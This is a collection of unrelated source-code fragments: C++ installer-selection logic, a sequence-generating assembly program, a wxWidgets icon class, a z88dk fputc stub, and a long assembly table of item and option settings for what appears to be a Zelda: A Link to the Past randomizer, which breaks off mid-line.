ManifestComparator::IsApplicable(const Manifest::ManifestInstaller& installer) { InapplicabilityFlags inapplicabilityResult = InapplicabilityFlags::None; for (const auto& filter : m_filters) { auto inapplicability = filter->IsApplicable(installer); if (inapplicability != InapplicabilityFlags::None) { AICLI_LOG(CLI, Info, << "Installer " << installer << " not applicable: " << filter->ExplainInapplicable(installer)); WI_SetAllFlags(inapplicabilityResult, inapplicability); } } return inapplicabilityResult; } bool ManifestComparator::IsFirstBetter( const Manifest::ManifestInstaller& first, const Manifest::ManifestInstaller& second) { for (auto comparator : m_comparators) { if (comparator->IsFirstBetter(first, second)) { AICLI_LOG(CLI, Verbose, << "Installer " << first << " is better than " << second << " due to: " << comparator->Name()); return true; } else if (comparator->IsFirstBetter(second, first)) { // Second is better by this comparator, don't allow a lower priority one to override that. AICLI_LOG(CLI, Verbose, << "Installer " << second << " is better than " << first << " due to: " << comparator->Name()); return false; } } // Equal, and thus not better AICLI_LOG(CLI, Verbose, << "Installer " << first << " and " << second << " are equivalent in priority"); return false; } void ManifestComparator::AddFilter(std::unique_ptr<details::FilterField>&& filter) { if (filter) { m_filters.emplace_back(std::move(filter)); } } void ManifestComparator::AddComparator(std::unique_ptr<details::ComparisonField>&& comparator) { if (comparator) { m_comparators.push_back(comparator.get()); m_filters.emplace_back(std::move(comparator)); } } }
; A155167: (L)-sieve transform of A004767 = {3,7,11,15,...,4n-1,...}. ; 1,2,3,5,7,10,14,19,26,35,47,63,85,114,153,205,274,366,489,653,871,1162,1550,2067,2757,3677,4903,6538,8718,11625,15501,20669,27559,36746,48995,65327,87103,116138,154851,206469 add $0,1 mov $1,1 mov $2,$0 lpb $2,1 lpb $0,1 sub $0,1 lpe add $0,$1 lpb $0,1 trn $0,3 add $1,1 lpe sub $2,1 lpe sub $1,1
///////////////////////////////////////////////////////////////////////////// // Name: src/generic/icon.cpp // Purpose: wxIcon implementation for ports where it's same as wxBitmap // Author: Julian Smart // Modified by: // Created: 17/09/98 // Copyright: (c) Julian Smart // Licence: wxWindows licence ///////////////////////////////////////////////////////////////////////////// // for compilers that support precompilation, includes "wx.h". #include "wx/wxprec.h" #ifdef __BORLANDC__ #pragma hdrstop #endif #include "wx/icon.h" //----------------------------------------------------------------------------- // wxIcon //----------------------------------------------------------------------------- IMPLEMENT_DYNAMIC_CLASS(wxIcon, wxBitmap) wxIcon::wxIcon(const char* const* bits) : wxBitmap( bits ) { } #ifdef wxNEEDS_CHARPP wxIcon::wxIcon(char **bits) : wxBitmap( bits ) { } #endif wxIcon::wxIcon() : wxBitmap() { } void wxIcon::CopyFromBitmap(const wxBitmap& bmp) { wxIcon *icon = (wxIcon*)(&bmp); *this = *icon; }
; int fputc(int c, FILE *stream) INCLUDE "config_private.inc" SECTION code_clib SECTION code_stdio ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; IF __CLIB_OPT_MULTITHREAD & $02 ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; PUBLIC fputc EXTERN asm_fputc fputc: pop af pop ix pop de push de push hl push af jp asm_fputc ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ELSE ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; PUBLIC fputc EXTERN fputc_unlocked defc fputc = fputc_unlocked ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ENDIF ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;================================================================================ ; Item Tables ;-------------------------------------------------------------------------------- org $400000 ; bank #$30 ; PC 0x180000 - 0x180006 HeartPieceIndoorValues: HeartPiece_Forest_Thieves: db #$17 ; #$17 = Heart Piece HeartPiece_Lumberjack_Tree: db #$17 HeartPiece_Spectacle_Cave: db #$17 HeartPiece_Circle_Bushes: db #$17 HeartPiece_Graveyard_Warp: db #$17 HeartPiece_Mire_Warp: db #$17 HeartPiece_Smith_Pegs: db #$17 ;-------------------------------------------------------------------------------- ; 0x180006 - 0x18000F (unused) ;-------------------------------------------------------------------------------- org $400010 ; PC 0x180010 - 0x180017 RupeeNPC_MoldormCave: db #$46 ; #$46 = 300 Rupees RupeeNPC_NortheastDarkSwampCave: db #$46 ; #$46 = 300 Rupees LibraryItem: db #$1D ; #$1D = Book of Mudora MushroomItem: db #$29 ; #$29 = Mushroom WitchItem: db #$0D ; #$0D = Magic Powder MagicBatItem: db #$4E ; #$4E = Half Magic Item (Default) - #$FF = Use Original Logic - See "HalfMagic" Below EtherItem: db #$10 ; #$10 = Ether Medallion BombosItem: db #$0F ; #$0F = Bombos Medallion ;-------------------------------------------------------------------------------- ; 0x180017 - 0x18001F (unused) ;-------------------------------------------------------------------------------- org $400020 ; PC 0x180020 DiggingGameRNG: db #$0F ; #$0F = 15 digs (default) (max ~30) org $1DFD95 ; PC 0xEFD95 db #$0F ; #$0F = 15 digs (default) (max ~30) org $400021 ; PC 0x180021 ChestGameRNG: db #$00 ; #$00 = 2nd chest (default) - #$01 = 1st chest ;-------------------------------------------------------------------------------- ;0 = Bombos ;1 = Ether ;2 = Quake org $400022 ; PC 0x180022 MireRequiredMedallion: db #$01 ; #$01 = Ether (default) org $400023 ; PC 0x180023 TRockRequiredMedallion: db #$02 ; #$02 = Quake (default) ;-------------------------------------------------------------------------------- org $400024 ; PC 0x180024 - 0x180027 BigFairyHealth: db #$A0 ; #$A0 = Refill Health (default) - #$00 = Don't Refill Health BigFairyMagic: db #$00 ; #$80 = Refill Magic - #$00 = Don't Refill Magic (default) SpawnNPCHealth: db #$A0 ; #$A0 = Refill Health (default) - #$00 = Don't Refill Health SpawnNPCMagic: db #$00 ; #$80 = Refill Magic - #$00 = Don't Refill Magic (default) ;-------------------------------------------------------------------------------- org $400028 ; PC 0x180028 FairySword: db #$03 ; #$03 = Golden Sword (default) PedestalMusicCheck: ;org $08C435 ; <- 44435 - ancilla_receive_item.asm : 125 ;db #$01 ; #$01 = Master Sword (default) org $0589B0 ; PC 0x289B0 ; sprite_master_sword.asm : 179 PedestalSword: db #$01 ; #$01 = Master Sword (default) org $400029 ; PC 0x180029 - 0x18002A SmithItemMode: db #$01 ; #$00 = Classic Tempering Process - #$01 = Quick Item Get (default) SmithItem: db #$02 ; #$02 = Tempered Sword (default) ;org $06B48E ; PC 0x3348E ; sprite_smithy_bros.asm : 473 ;SmithSwordCheck: ;db #$03 ; #$03 = Tempered Sword (default) ; THESE VALUES ARE +1 org $06B55C ; PC 0x3355C ; sprite_smithy_bros.asm : 634 SmithSword: db #$02 ; #$02 = Tempered Sword (default) ;org $05EBD4 ; PC 0x2EBD4 - sprite_zelda.asm:23 - (LDA $7EF359 : CMP.b #$02 : BCS .hasMasterSword) - Zelda Spawnpoint Sword Check ;db #$05 ; #$02 = Tempered Sword (default) - #$05 = All Swords ;-------------------------------------------------------------------------------- ; 0x18002B- 0x18002F (Unused) ;-------------------------------------------------------------------------------- org $400030 ; PC 0x180030 EnableSRAMTrace: db #$00 ; #$00 = Off (default) - #$01 = On ;-------------------------------------------------------------------------------- org $400031 ; PC 0x180031 EnableEasterEggs: db #$00 ; #$00 = Off (default) - #$01 = On ;-------------------------------------------------------------------------------- org $400032 ; PC 0x180032 OpenMode: db #$01 ; #$00 = Normal (default) - #$01 = Open ;-------------------------------------------------------------------------------- org $400033 ; PC 0x180033 HeartBeep: db #$40 ; #$00 = Off - #$20 = Normal (default) - #$40 = Half Speed - #$80 = Quarter Speed ;-------------------------------------------------------------------------------- org $400034 ; PC 0x180034 - 0x180035 StartingMaxBombs: db #10 ; #10 = Default (10 decimal) StartingMaxArrows: db #30 ; #30 = Default (30 decimal) ;-------------------------------------------------------------------------------- org $400036 ; PC 0x180036 - 0x180037 RupoorDeduction: dw #$000A ; #$0A - Default (10 decimal) ;-------------------------------------------------------------------------------- org $400038 ; PC 0x180038 -0x18003A LampConeSewers: db #$00 ; #$00 = Off - #$01 = On (default) LampConeLightWorld: db #$00 ; #$00 = Off - #$01 = On (default) LampConeDarkWorld: db #$00 ; #$00 = Off (default) - #$01 = On ;-------------------------------------------------------------------------------- org $40003B ; PC 0x18003B - PC 0x18003C MapMode: db #$00 ; #$00 = Always On (default) - #$01 = Require Map Item CompassMode: db #$00 ; #$00 = Off (default) - #$01 = Display Dungeon Count w/Compass - #$02 = Display Dungeon Count Always ;-------------------------------------------------------------------------------- org $40003D ; PC 0x18003D PersistentFloodgate: db #$00 ; #$00 = Off (default) - #$01 = On ;-------------------------------------------------------------------------------- org $40003E ; PC 0x18003E InvincibleGanon: db #$00 ; #$00 = Off (default) ; #$01 = On ; #$02 = Require All Dungeons ; #$03 = Require Crystals and Aga2 ; #$04 = Require Crystals ; #$05 = Require 100 Goal Items ;-------------------------------------------------------------------------------- org $40003F ; PC 0x18003F HammerableGanon: db #$00 ; #$00 = Off (default) - #$01 = On ;-------------------------------------------------------------------------------- org $400040 ; PC 0x180040 PreopenCurtains: db #$00 ; #$00 = Off (default) - #$01 = On ;-------------------------------------------------------------------------------- org $400041 ; PC 0x180041 AllowSwordlessMedallionUse: db #$00 ; #$00 = Off (default) - #$01 = Medallion Pads - #$02 = Always (Not Implemented) ;-------------------------------------------------------------------------------- org $400042 ; PC 0x180042 PermitSQFromBosses: db #$00 ; #$00 = Off (default) - #$01 = On ;-------------------------------------------------------------------------------- org $400043 ; PC 0x180043 StartingSword: db #$00 ; #$00 = No Sword (default) - #$FF = Non-Sword ;-------------------------------------------------------------------------------- org $400044 ; PC 0x180044 AllowHammerTablets: db #$00 ; #$00 = Off (default) - #$01 = On ;-------------------------------------------------------------------------------- org $400045 ; PC 0x180045 HUDDungeonItems: db #$00 ; display ----dcba a: Small Keys, b: Big Key, c: Map, d: Compass ;-------------------------------------------------------------------------------- org $400046 ; PC 0x180046 Link's starting equipment LinkStartingRupees: dw #$0000 ;-------------------------------------------------------------------------------- org $400048 ; PC 0x180048 MenuSpeed: db #$08 ; #$08 (default) - higher is faster - #$E8 = instant open org $0DDD9A ; PC 0x6DD9A (equipment.asm:95) ; Menu Down Chime db #$11 ; #$11 = Vwoop Down (Default) - #$20 = Menu Chime org $0DDF2A ; PC 0x6DF2A (equipment.asm:466) ; Menu Up Chime db #$12 ; #$12 = Vwoop Up (Default) - #$20 = Menu Chime org $0DE0E9 ; PC 0x6E0E9 (equipment.asm:780) ; Menu Up Chime db #$12 ; #$12 = Vwoop Up (Default) - #$20 = Menu Chime ;-------------------------------------------------------------------------------- org $400049 ; PC 0x180049 MenuCollapse: db #$00 ; #$00 = Press Start (default) - #$10 = Release Start ;-------------------------------------------------------------------------------- org $40004A ; PC 0x18004A InvertedMode: db #$00 ; #$00 = Normal (default) - #$01 = Inverted ;-------------------------------------------------------------------------------- org $40004B ; PC 0x18004B QuickSwapFlag: db #$01 ; #$00 = Off (default) - #$01 = On ;-------------------------------------------------------------------------------- org $40004C ; PC 0x18004C SmithTravelsFreely: db #$00 ; #$00 = Off (default) - #$01 = On (frog/smith can enter multi-entrance doors) ;-------------------------------------------------------------------------------- org $40004D ; PC 0x18004D EscapeAssist: ; ScrubMode: db #$00 ;---- -mba ;m - Infinite Magic ;b - Infinite Bombs ;a - Infinite Arrows ;-------------------------------------------------------------------------------- org $40004E ; PC 0x18004E UncleRefill: db #$00 ;---- -mba ;m - Refill Magic ;b - Refill Bombs ;a - Refill Arrows ;-------------------------------------------------------------------------------- org $40004F ; PC 0x18004F ByrnaInvulnerability: db #$01 ; #$00 = Off - #$01 = On (default) ;-------------------------------------------------------------------------------- org $400050 ; PC 0x180050 - 0x18005C CrystalPendantFlags_2: db $00 ; Sewers db $00 ; Hyrule Castle db $00 ; Eastern Palace db $00 ; Desert Palace db $00 ; Agahnim's Tower db $40 ; Swamp Palace db $40 ; Palace of Darkness db $40 ; Misery Mire db $40 ; Skull Woods db $40 ; Ice Palace .hera db $00 ; Tower of Hera db $40 ; Thieves' Town db $40 ; Turtle Rock ;Pendant: $00 ;Crystal: $40 ;SM Boss: $80 ;-------------------------------------------------------------------------------- ; 0x18005D - 0x18005F (unused) ;-------------------------------------------------------------------------------- ; old -- org $40005E ; PC 0x18005E - Number of crystals required to enter GT org $40005E ; PC 0x18005E - Number of crystals required to enter GT NumberOfCrystalsRequiredForTower: db #$07 ; #$07 = 7 Crystals ; old -- org $40005F ; PC 0x18005F - Number of crystals required to kill Ganon org $40005F ; PC 0x18005F - Number of crystals required to kill Ganon NumberOfCrystalsRequiredForGanon: db #$07 ; #$07 = 7 Crystals ;-------------------------------------------------------------------------------- org $400060 ; PC 0x180060 - 0x18007E ProgrammableItemLogicJump_1: JSL.l $000000 : RTL ProgrammableItemLogicJump_2: JSL.l $000000 : RTL ProgrammableItemLogicJump_3: JSL.l $000000 : RTL org $400061 ; PC 0x180061 ProgrammableItemLogicPointer_1: dl #$000000 org $400066 ; PC 0x180066 ProgrammableItemLogicPointer_2: dl #$000000 org $40006B ; PC 0x18006B ProgrammableItemLogicPointer_3: dl #$000000 ;-------------------------------------------------------------------------------- ; 0x18007F (unused) ;-------------------------------------------------------------------------------- org $400070 ; PC 0x180070 - 0x18007F CrystalNumberTable: db $00 ; db $79 ; Swamp db $00 ; db $6E ; Ice db $00 ; db $6F ; Mire db $00 ; db $6D ; Thieves db $69 ; Desert db $7C ; TRock db $69 ; Hera db $6C ; Skull db $69 ; Eastern db $7F ; Darkness db $00 ; db $00 ; ;1 Indicator : 7F ;2 Indicator : 79 ;3 Indicator : 6C ;4 Indicator : 6D ;5 Indicator : 6E ;6 Indicator : 6F ;7 Indicator : 7C ;8 Indicator : 7D ;9 Indicator : 7E ;Dark Red X : 69 ;Light Red X : 78 ;White X : 68 ;Pendant UL : 60 ;Pendant UR : 61 ;Pendant BL : 70 ;Pendant BR : 71 ;Sword UL : 62 ;Sword UR : 63 ;Sword BL : 72 ;Sword BR : 73 ;Crystal UL : 64 ;Crystal UR : 65 ;Crystal BL : 74 ;Crystal BR : 75 ;Skull UL : 66 ;Skull UR : 67 ;Skull BL : 76 ;Skull BR : 77 ;Warp UL : 6A ;Warp UR : 6B ;Warp BL : 7A ;Warp BR : 7B ;-------------------------------------------------------------------------------- org $400080 ; PC 0x180080 - 0x180083 Upgrade5BombsRefill: db #$00 Upgrade10BombsRefill: db #$00 Upgrade5ArrowsRefill: db #$00 Upgrade10ArrowsRefill: db #$00 ;-------------------------------------------------------------------------------- org $400084 ; PC 0x180084 - 0x180085 PotionHealthRefill: db #$A0 ; #$A0 - Full Refill (Default) PotionMagicRefill: db #$80 ; #$80 - Full Refill (Default) ;-------------------------------------------------------------------------------- org $400086 ; PC 0x180086 GanonAgahRNG: db #$00 ; $00 = static rng, $01 = no extra blue balls/warps org $400089 ; PC 0x180089 TurtleRockAutoOpenFix: db #$00 ; #$00 - Normal, #$01 - Open TR Entrance if exiting from it ;-------------------------------------------------------------------------------- org $40008A ; PC 0x18008A BlockCastleDoorsInRain: db #$00 ; #$00 - Normal, $01 - Block them (Used by Entrance Rando in Standard Mode) ;-------------------------------------------------------------------------------- org $40008B ; PC 0x18008B PreopenPyramid: db $00 ; #$00 = Off (default) - #$01 = On ;-------------------------------------------------------------------------------- org $40008C ; PC 0x18008C PreopenGanonsTower: db $00 ; #$00 = Off (default) - #$01 = On ;-------------------------------------------------------------------------------- org $40008D ; PC 0x18008D InstantPostAgaWorldState: db $00 ; #$00 = Off (default) - #$01 = On ;-------------------------------------------------------------------------------- org $40008E ; PC 0x18008E FakeBoots: db $00 ; #$00 = Off (default) - #$01 = On ;-------------------------------------------------------------------------------- ; 0x18008F (unused) ;-------------------------------------------------------------------------------- org $400090 ; PC 0x180090 - 0x180097 ProgressiveSwordLimit: db #$04 ; #$04 - 4 Swords (default) ProgressiveSwordReplacement: db #$47 ; #$47 - 20 Rupees (default) ProgressiveShieldLimit: db #$03 ; #$03 - 3 Shields (default) ProgressiveShieldReplacement: db #$47 ; #$47 - 20 Rupees (default) ProgressiveArmorLimit: db #$02 ; #$02 - 2 Armors (default) ProgressiveArmorReplacement: db #$47 ; #$47 - 20 Rupees (default) BottleLimit: db #$04 ; #$04 - 4 Bottles (default) BottleLimitReplacement: db #$47 ; #$47 - 20 Rupees (default) ;-------------------------------------------------------------------------------- ; 0x180098 - 0x18009F (unused) ;-------------------------------------------------------------------------------- org $4000A0 ; PC 0x1800A0 - 0x1800A3 Bugfix_MirrorlessSQToLW: db #$01 ; #$00 = Original Behavior - #$01 = Randomizer Behavior (Default) Bugfix_SwampWaterLevel: db #$01 ; #$00 = Original Behavior - #$01 = Randomizer Behavior (Default) Bugfix_PreAgaDWDungeonDeathToFakeDW: db #$01 ; #$00 = Original Behavior - #$01 = Randomizer Behavior (Default) Bugfix_SetWorldOnAgahnimDeath: db #$01 ; #$00 = Original Behavior - #$01 = Randomizer Behavior (Default) Bugfix_PodEG: db #$01 ; #$00 = Original Behavior - #$01 = Randomizer Behavior (Default) ;-------------------------------------------------------------------------------- ; 0x1800A5- 0x1800FF (unused) ;-------------------------------------------------------------------------------- org $400100 ; PC 0x180100 (0x40 bytes) ShovelSpawnTable: db $B2 ; Gold Bee db $D8, $D8, $D8 ; Single Heart db $D8, $D8, $D8, $D8, $D8 ; Single Heart db $D9, $D9, $D9, $D9, $D9 ; Green Rupee db $DA, $DA, $DA, $DA, $DA ; Blue Rupee db $DB, $DB, $DB, $DB, $DB ; Red Rupee db $DC, $DC, $DC, $DC, $DC ; 1 Bomb db $DD, $DD, $DD, $DD, $DD ; 4 Bombs db $DE, $DE, $DE, $DE, $DE ; 8 Bombs db $DF, $DF, $DF, $DF, $DF ; Small Magic db $E0, $E0, $E0, $E0, $E0 ; Large Magic db $E1, $E1, $E1, $E1, $E1 ; 5 Arrows db $E2, $E2, $E2, $E2, $E2 ; 10 Arrows db $E3, $E3, $E3, $E3, $E3 ; Fairy ;-------------------------------------------------------------------------------- ; Bank 30 resumes below at HeartPieceOutdoorValues ;-------------------------------------------------------------------------------- org $098B7C ; PC 0x48B7C EtherTablet: db #$10 ; #$10 = Ether org $08CAA9 ; PC 0x44AA9 db #$10 ; #$10 = Ether org $098B81 ; PC 0x48B81 BombosTablet: db #$0F ; #$0F = Bombos org $08CAAE ; PC 0x44AAE db #$0F ; #$0F = Bombos ;-------------------------------------------------------------------------------- org $05FBD2 ; PC 0x2FBD2 - sprite_mad_batter.asm:209 - (#$01) HalfMagic: db $01 ; #$01 = 1/2 Magic (default) - #$02 = 1/4 Magic ;-------------------------------------------------------------------------------- org $07ADA7 ; PC 0x3ADA7 - Bank07.asm:7216 - (db 4, 8, 8) CapeMagicUse: db $04, $08, $10 ; change to db $04, $08, $08 for original cape behavior org $08DC42 ; PC 0x45C42 - ancilla_cane_spark.asm:200 - (db 4, 2, 1) ByrnaMagicUsage: db #$04, #$02, #$01 ; normal, 1/2, 1/4 magic ;-------------------------------------------------------------------------------- ;Dungeon Music ;org $02D592 ; PC 0x15592 ;11 - Pendant Dungeon ;16 - Crystal Dungeon org $02D592+$08 Music_Eastern: db $11 org $02D592+$09 Music_Desert: db $11, $11, $11, $11 org $02D592+$33 Music_Hera: db $11 org $02907A ; 0x1107A - Bank02.asm:3089 (#$11) Music_Hera2: db $11 org $028B8C ; 0x10B8C - Bank02.asm:2231 (#$11) Music_Hera3: db $11 org $02D592+$26 Music_Darkness: db $16 org $02D592+$25 Music_Swamp: db $16 org $02D592+$28 Music_Skull: db $16, $16, $16, $16 org $02D592+$76 Music_Skul_Drop: db $16, $16, $16, $16 org $02D592+$34 Music_Thieves: db $16 org $02D592+$2D Music_Ice: db $16 org $02D592+$27 Music_Mire: db $16 org $02D592+$35 Music_TRock: db $16 org $02D592+$15 Music_TRock2: db $16 org $02D592+$18 Music_TRock3: db $16, $16 org $02D592+$37 Music_GTower: db $16 ;-------------------------------------------------------------------------------- ; GT sign text pointer (Message id of the upper right of map43 = map44) ;-------------------------------------------------------------------------------- org $07F57F dw #$0190 ;-------------------------------------------------------------------------------- ; Pyramid sign text pointer (Message id of the upper left of map5B = map5B) ;-------------------------------------------------------------------------------- org $07F5AD dw #$0191 ;-------------------------------------------------------------------------------- ; THIS ENTIRE TABLE IS DEPRECATED ;Map Crystal Locations ;org $0AC5B8 ; PC 0x545B8 ;PendantLoc_Eastern: ; Green/Courage/Eastern Palace ;db $04 ; 04 ;PendantLoc_Hera: ; Red/Wisdom/Hera ;db $01 ; 01 ;PendantLoc_Desert: ; Blue/Power/Desert ;db $02 ; 02 ; ;org $0AC5D1 ; PC 0x545D1 ;CrystalLoc_Darkness: ;db $02 ;CrystalLoc_Skull: ;db $40 ; 40 ;CrystalLoc_TRock: ;db $08 ; 08 ;CrystalLoc_Thieves: ;db $20 ;CrystalLoc_Mire: ;db $01 ;CrystalLoc_Ice: ;db $04 ;CrystalLoc_Swamp: ;db $10 ; ;Pendant 1: $04 ;Pendant 2: $02 ;Pendant 3: $01 ;Crystal 1: $02 ;Crystal 2: $10 ;Crystal 3: $40 ;Crystal 4: $20 ;Crystal 5: $04 ;Crystal 6: $01 ;Crystal 7: $08 ;-------------------------------------------------------------------------------- ;Map Pendant / Crystal Indicators org $0ABF2E ; PC 0x53F02 dw $0100 ; #$6234 - Master Sword org $0ABEF8 ; PC 0x53EF8 MapObject_Eastern: dw $6038 ; #$6038 - Green Pendant / Courage org $0ABF1C ; PC 0x53F1C MapObject_Desert: dw $6034 ; #$6034 - Blue Pendant / Power org $0ABF0A ; PC 0x53F0A MapObject_Hera: dw $6032 ; #$6032 - Red Pendant / Wisdom org $0ABF00 ; PC 0x53F00 MapObject_Darkness: dw $6434 ; #6434 - Crystal org $0ABF6C ; PC 0x53F6C MapObject_Swamp: dw $6434 ; #6434 - Crystal org $0ABF12 ; PC 0x53F12 MapObject_Skull: dw $6434 ; #6434 - Crystal org $0ABF36 ; PC 0x53F36 MapObject_Thieves: dw $6434 ; #6434 - Crystal org $0ABF5A ; PC 0x53F5A MapObject_Ice: dw $6432 ; #6434 - Crystal 5/6 org $0ABF48 ; PC 0x53F48 MapObject_Mire: dw $6432 ; #6434 - Crystal 5/6 org $0ABF24 ; PC 0x53F24 MapObject_TRock: dw $6434 ; #6434 - Crystal ;-------------------------------------------------------------------------------- org $02A09B ; PC 0x1209B - Bank02.asm:5802 - (pool MilestoneItem_Flags:) CrystalPendantFlags: db $00 ; Sewers db $00 ; Hyrule Castle db $04 ; Eastern Palace db $02 ; Desert Palace db $00 ; Agahnim's Tower db $10 ; Swamp Palace db $02 ; Palace of Darkness db $01 ; Misery Mire db $40 ; Skull Woods db $04 ; Ice Palace .hera db $01 ; Tower of Hera db $20 ; Thieves' Town db $08 ; Turtle Rock ;Pendant 1: $04 ;Pendant 2: $02 ;Pendant 3: $01 ;Crystal 1: $02 ;Crystal 2: $10 ;Crystal 3: $40 ;Crystal 4: $20 ;Crystal 5: $04 ;Crystal 6: $01 ;Crystal 7: $08 ;SM Token : $00 -- Setting this to $00 should always make the price spawn ;-------------------------------------------------------------------------------- ;Dungeons with no drops should match their respective world's normal vanilla prize ;xxx ;-------------------------------------------------------------------------------- org $01C6FC ; PC 0xC6FC - Bank01.asm:10344 - (db $00, $00, $01, $02, $00, $06, $06, $06, $06, $06, $03, $06, $06) db $00 ; Sewers db $00 ; Hyrule Castle db $01 ; Eastern Palace db $02 ; Desert Palace db $00 ; Agahnim's Tower db $06 ; Swamp Palace db $06 ; Palace of Darkness db $06 ; Misery Mire db $06 ; Skull Woods db $06 ; Ice Palace db $03 ; Tower of Hera db $06 ; Thieves' Town db $06 ; Turtle Rock ;Ether/Nothing: $00 ;Green Pendant: $01 ;Blue Pendant: $02 ;Red Pendant: $03 ;Heart Container: $04 ;Bombos: $05 ;Crystal: $06 ;SM Tokens: $80, $81, $82, $83 ;-------------------------------------------------------------------------------- org $02885E ; PC 0x1085E - Bank02.asm:1606 - (dw $0006, $005A, $0029, $0090, $00DE, $00A4, $00AC, $000D) ; DEPRECATED - DISCONTINUE USE dw $0006 ; Crystal 2 Location dw $005A ; Crystal 1 Location dw $0029 ; Crystal 3 Location dw $0090 ; Crystal 6 Location dw $00DE ; Crystal 5 Location dw $00A4 ; Crystal 7 Location dw $00AC ; Crystal 4 Location ; AC dw $000D ; Agahnim II Location ; 0D ;C8 = Armos Room ;33 = Lanmolas Room ;07 = Moldorm Room ;06 = Arrghus Room ;5A = Helmasaur Room ;29 = Mothula Room ;90 = Viterous Room ;DE = Kholdstare Room ;A4 = Trinexx Room ;AC = Blind Room ;0D = Agahnim 2 Room ;-------------------------------------------------------------------------------- ;org $098B7D ; PC 0x48B7D - ancilla_init.asm:1630 - (db $37, $39, $38) ; DEPRECATED - DISCONTINUE USE ;PendantEastern: ;db #$37 ;PendantDesert: ;db #$39 ;PendantHera: ;db #$38 ;37:Pendant 1 Green / Courage ;38:Pendant 3 Red / Wisdom ;39:Pendant 2 Blue / Power ;-------------------------------------------------------------------------------- org $07B51D ; PC 0x3B51D BlueBoomerangSubstitution: db #$FF ; no substitution org $07B53B ; PC 0x3B53B RedBoomerangSubstitution: db #$FF ; no substitution ;-------------------------------------------------------------------------------- ;org $08D01A ; PC 0x4501A - ancilla_flute.asm - 42 ;OldHauntedGroveItem: ; db #$14 ; #$14 = Flute ;-------------------------------------------------------------------------------- org $06C8DB ; PC $348DB FairyBoomerang: db #$2A ; Trigger on red boomerang org $06C8EB ; PC $348EB FairyShield: db #$05 ; Trigger on red shield org $06C910 ; PC $34910 FairyBow: db #$3B ; Trigger on bow with silver arrows ;-------------------------------------------------------------------------------- ;2B:Bottle Already Filled w/ Red Potion ;2C:Bottle Already Filled w/ Green Potion ;2D:Bottle Already Filled w/ Blue Potion ;3C:Bottle Already Filled w/ Bee ;3D:Bottle Already Filled w/ Fairy ;48:Bottle Already Filled w/ Gold Bee org $06C8FF ; PC 0x348FF WaterfallPotion: ; <-------------------------- FAIRY POTION STUFF HERE db #$2C ; #$2C = Green Potion org $06C93B ; PC 0x3493B PyramidPotion: db #$2C ; #$2C = Green Potion ;-------------------------------------------------------------------------------- org $400140 ; PC 0x180140 - 0x18014A HeartPieceOutdoorValues: HeartPiece_Spectacle: db #$17 HeartPiece_Mountain_Warp: db #$17 HeartPiece_Maze: db #$B1 HeartPiece_Desert: db #$17 HeartPiece_Lake: db #$17 HeartPiece_Swamp: db #$17 HeartPiece_Cliffside: db #$17 HeartPiece_Pyramid: db #$17 HeartPiece_Digging: db #$17 HeartPiece_Zora: db #$17 HauntedGroveItem: db #$14 ; #$14 = Flute ;-------------------------------------------------------------------------------- ; 0x18014B - 0x18014F (unused) ;================================================================================ org $400150 ; PC 0x180150 - 0x180159 HeartContainerBossValues: HeartContainer_ArmosKnights: db #$3E ; #$3E = Boss Heart (putting pendants here causes main pendants to not drop for obvious (in retrospect) reasons) HeartContainer_Lanmolas: db #$3E HeartContainer_Moldorm: db #$3E HeartContainer_HelmasaurKing: db #$3E HeartContainer_Arrghus: db #$3E HeartContainer_Mothula: db #$3E HeartContainer_Blind: db #$3E HeartContainer_Kholdstare: db #$3E HeartContainer_Vitreous: db #$3E HeartContainer_Trinexx: db #$3E ;-------------------------------------------------------------------------------- ; 0x180159 - 0x18015F (unused) ;================================================================================ org $400160 ; PC 0x180160 - 0x180162 BonkKey_Desert: db #$24 ; #$24 = Small Key (default) BonkKey_GTower: db #$24 ; #$24 = Small Key (default) StandingKey_Hera: db #$24 ; #$24 = Small Key (default) ;-------------------------------------------------------------------------------- ; 0x180163 - 0x180164 (unused) ;================================================================================ org $400165 ; PC 0x180165 GoalItemIcon: dw #$280E ; #$280D = Star - #$280E = Triforce Piece (default) ;================================================================================ org $400167 ; PC 0x180167 GoalItemRequirement: db #$00 ; #$00 = Off (default) - #$XX = Require $XX Goal Items - #$FF = Counter-Only ;================================================================================ org $400168 ; PC 0x180168 ByrnaCaveSpikeDamage: db #$08 ; #$08 = 1 Heart (default) - #$02 = 1/4 Heart ;================================================================================ org $400169 ; PC 0x180169 AgahnimDoorStyle: db #$01 ; #00 = Never Locked - #$01 = Locked During Escape (default) ;================================================================================ org $40016A ; PC 0x18016A FreeItemText: db #$00 ; #00 = Off (default) - #$01 = On ;================================================================================ org $40016B ; PC 0x18016B - 0x18016D HardModeExclusionCaneOfByrnaUsage: db #$04, #$02, #$01 ; Normal, 1/2, 1/4 Magic org $40016E ; PC 0x18016E - 308170 HardModeExclusionCapeUsage: db #$04, #$08, #$10 ; Normal, 1/2, 1/4 Magic ;================================================================================ org $400171 ; PC 0x180171 GanonPyramidRespawn: db #$01 ; #00 = Do not respawn on Pyramid after Death - #$01 = Respawn on Pyramid after Death (default) ;================================================================================ org $400172 ; PC 0x180172 GenericKeys: db #$00 ; #00 = Dungeon-Specific Keys (Default) - #$01 = Generic Keys ;================================================================================ org $400173 ; PC 0x180173 Bob: db #$00 ; #00 = Off - #$01 = On (Default) ;================================================================================ org $400174 ; PC 0x180174 ; Flag to fix Fake Light World/Fake Dark World as caused by leaving the underworld ; to the other world (As can be caused by EG, Certain underworld clips, or Entance Randomizer). ; Currently, Fake Worlds triggered by other causes like YBA's Fake Flute, are not affected. FixFakeWorld: db #$01 ; #00 = Fix Off (Default) - #$01 = Fix On ;================================================================================ org $400175 ; PC 0x180175 - 0x180179 ArrowMode: db #$00 ; #00 = Normal (Default) - #$01 = Rupees ArrowModeWoodArrowCost: ; keep these together dw #$0005 ; #$0005 = 5 (Default) ArrowModeSilverArrowCost: ; keep these together dw #$000A ; #$000A = 10 (Default) ;================================================================================ org $40017A ; PC 0x18017A ; #$2000 for Eastern Palace MapReveal_Sahasrahla: dw #$0000 org $40017C ; PC 0x18017C ; #$0140 for Ice Palace and Misery Mire MapReveal_BombShop: dw #$0000 ;================================================================================ org $40017E ; PC 0x18017E Restrict_Ponds: db #$01 ; #$00 = Original Behavior - #$01 - Restrict to Bottles (Default) ;================================================================================ org $40017F ; 